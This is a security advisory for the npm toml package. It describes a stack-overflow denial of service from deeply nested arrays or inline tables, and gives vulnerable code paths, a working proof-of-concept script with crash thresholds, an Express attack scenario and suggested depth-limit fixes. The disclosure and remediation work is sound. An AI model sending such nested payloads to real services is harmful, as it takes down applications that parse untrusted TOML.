Résumé

toml-node: Uncontrolled Recursion

Détails de l’avis

Summary

toml.parse() crashes with an uncaught RangeError: Maximum call stack size exceeded when parsing deeply nested arrays or inline tables. The parser is generated by Peggy 5.1.0 (a PEG parser generator) as a recursive-descent parser; the value rule mutually recurses with the array and inline-table rules with no depth limit, so nesting depth equal to the input depth exhausts Node's call stack.

A small payload — a bare array nested a few thousand levels deep (~5–6 KB) — reliably crashes the process on a default Node.js configuration. toml has ~47 million monthly downloads.


Vulnerable Code

The parser is a generated recursive-descent parser (lib/parser.js, header: // @generated by Peggy 5.1.0.). The recursion sink is the mutual recursion between the value, array, and inline_table rule functions — none carry a depth counter:

// lib/parser.js — peg$parsevalue() @ line 1008
function peg$parsevalue() {
  ...
  s0 = peg$parsearray();          // line 1017  ← value → array
  if (s0 === peg$FAILED) {
    s0 = peg$parseinline_table(); // line 1019  ← value → inline_table
  }
  ...
}

// peg$parsearray() @ line 2879
function peg$parsearray() {
  ...
  s3 = peg$parsevalue();          // line 2931  ← array element → value (back-edge)
  ...
}

// peg$parseinline_table() @ line 3066 → peg$parseinline_table_entry() @ line 3239
function peg$parseinline_table_entry() {
  ...
  s5 = peg$parsevalue();          // line 3266  ← inline-table value → value (back-edge)
  ...
}

Recursion cycle for a=[[[ … ]]] (bare nested arrays):

toml.parse(src)
  → peg$parsevalue()        # parser.js:1008
      → peg$parsearray()     # parser.js:1017 / 2879
          → peg$parsevalue() # parser.js:2931  ← back-edge, per nested element
              → …            # depth == input nesting → RangeError, no guard

Inline tables ({arr=[ … ]}, {a={a= … }}) reach the same cycle via peg$parseinline_table / peg$parseinline_table_entry. Because the parser is machine-generated, there is no hand-written function to patch; the fix belongs in the grammar (src/toml.pegjs) or in an input guard (see Suggested Fix).


Confirmed PoC (toml 4.1.2, Node.js v24.16.0)

Setup:

npm install toml@4.1.2        # latest release; 4.1.1 and earlier are equally affected
# Docker equivalent:
# docker run --rm node:24 bash -c "npm i -g toml >/dev/null 2>&1; node -e '<PoC below>'"

Reproduce — save as poc.js, run node poc.js:

const toml = require('toml');
console.log('version:', require('toml/package.json').version);  // 4.1.2

// Smallest reliable payload: a bare array nested 3000 levels (~6 KB)
let x = '1';
for (let i = 0; i < 3000; i++) x = '[' + x + ']';
const payload = 'a=' + x;
console.log('payload bytes:', payload.length);   // 6003

try {
  toml.parse(payload);
  console.log('no crash');
} catch (e) {
  console.log('CONFIRMED:', e.constructor.name + ':', e.message.slice(0, 40));
  console.log('is RangeError?', e instanceof RangeError,          // true
              '| is SyntaxError?', e instanceof SyntaxError);     // false
}

Expected output (vulnerable — actual run):

version: 4.1.2
payload bytes: 6003
CONFIRMED: RangeError: Maximum call stack size exceeded
is RangeError? true | is SyntaxError? false

Verified crash thresholds (fresh process, single parse, default Node 24 stack):

Payload shape Reliable crash depth Payload size
Bare nested array a=[[ … ]] ≥ ~2,500 ~5 KB (6 KB at depth 3000, used above)
Inline table {arr=[ … ]} ≥ ~1,500 ~12 KB

Note on the exact threshold: the precise crashing depth is not perfectly deterministic — it shifts by a few hundred levels depending on V8 JIT state, Node version, platform, and any configured --stack-size. This is expected for a stack-overflow condition. A payload nested a few thousand levels deep (single-digit KB) crashes reliably across runs; the PoC above (depth 3000) leaves ample margin.


Realistic Attack Scenario

// Node.js service parsing user-supplied TOML config
const express = require('express');
const toml = require('toml');
const app = express();
app.use(express.text({ type: 'application/toml', limit: '100kb' }));

app.post('/config', (req, res) => {
  try {
    const config = toml.parse(req.body);   // ← RangeError on ~6 KB nested payload
    res.json({ status: 'ok' });
  } catch (e) {
    // toml only throws a peg$SyntaxError (e.name === 'SyntaxError', with e.line/e.column)
    // on malformed input. A RangeError has neither, so this guard rethrows it:
    if (e.line != null) return res.status(400).json({ error: e.message });
    throw e;                                // RangeError propagates → uncaught → worker down
  }
});

An unauthenticated attacker POSTs a ~6 KB deeply nested body (well under the 100 KB limit). toml.parse overflows the stack and throws RangeError; any handler that only special-cases syntax errors rethrows it, taking down the request (and, depending on the server, the worker).

The package exports only parse (Object.keys(require('toml'))['parse']); there is no toml.SyntaxError. Code written as catch (e) { if (e instanceof toml.SyntaxError) … } is itself broken (instanceof undefined throws), so applications generally cannot cleanly distinguish the DoS RangeError from a normal parse error.


Impact

Any Node.js application that calls toml.parse() on untrusted input is exposed to a remote, unauthenticated denial of service via a small (5–6 KB) deeply nested payload. toml.parse is the package's only public API, and TOML is commonly parsed from user-supplied config/upload endpoints. With **47 million monthly downloads** and 0 existing CVEs, the exposure is broad.

RangeError is a subclass of Error (not of the parser's SyntaxError), so it bypasses the usual "is this a parse error?" checks and propagates as an unexpected exception.


Suggested Fix

Because lib/parser.js is generated, the fix should be applied at the grammar level and regenerated, or guarded at the entry point:

Option 1 — grammar-level depth guard (src/toml.pegjs), then re-run Peggy:

// In the grammar initializer:
{ let depth = 0; const MAX_DEPTH = 500; }

// Wrap the recursive `value` rule:
value = &{ if (++depth > MAX_DEPTH) { error("TOML nesting too deep"); } return true; }
        v:(array / inline_table / ...) { depth--; return v; }

Option 2 — entry-point guard in index.js (reject pathological input before parsing):

module.exports.parse = function (input) {
  // cheap structural bound before the recursive parse
  let depth = 0, max = 0;
  for (const ch of input) {
    if (ch === '[' || ch === '{') max = Math.max(max, ++depth);
    else if (ch === ']' || ch === '}') depth--;
  }
  if (max > 500) throw new Error('TOML nesting depth exceeds limit (500)');
  return realParse(input);
};

Immediate mitigation (users, verified): bound untrusted input length and bracket-nesting depth before calling toml.parse(), e.g. reject payloads whose maximum [/{ nesting exceeds a few hundred. A byte-length limit alone is insufficient (5 KB already crashes).


Comparison with Related Vulnerabilities

Same CWE-674 class as the recursion-DoS findings in the PyPI toml package (C055) and the YAML parsers (PyYAML GHSA-r9mm-j37c-pjwp, ruamel.yaml). The distinguishing detail here: the parser is generated by Peggy, so the recursion lives in peg$parsevalue/peg$parsearray/peg$parseinline_table and cannot be fixed by editing a hand-written function — the earlier draft of this report incorrectly showed hand-written parseValue(tokens, index) functions that do not exist in the package.

Références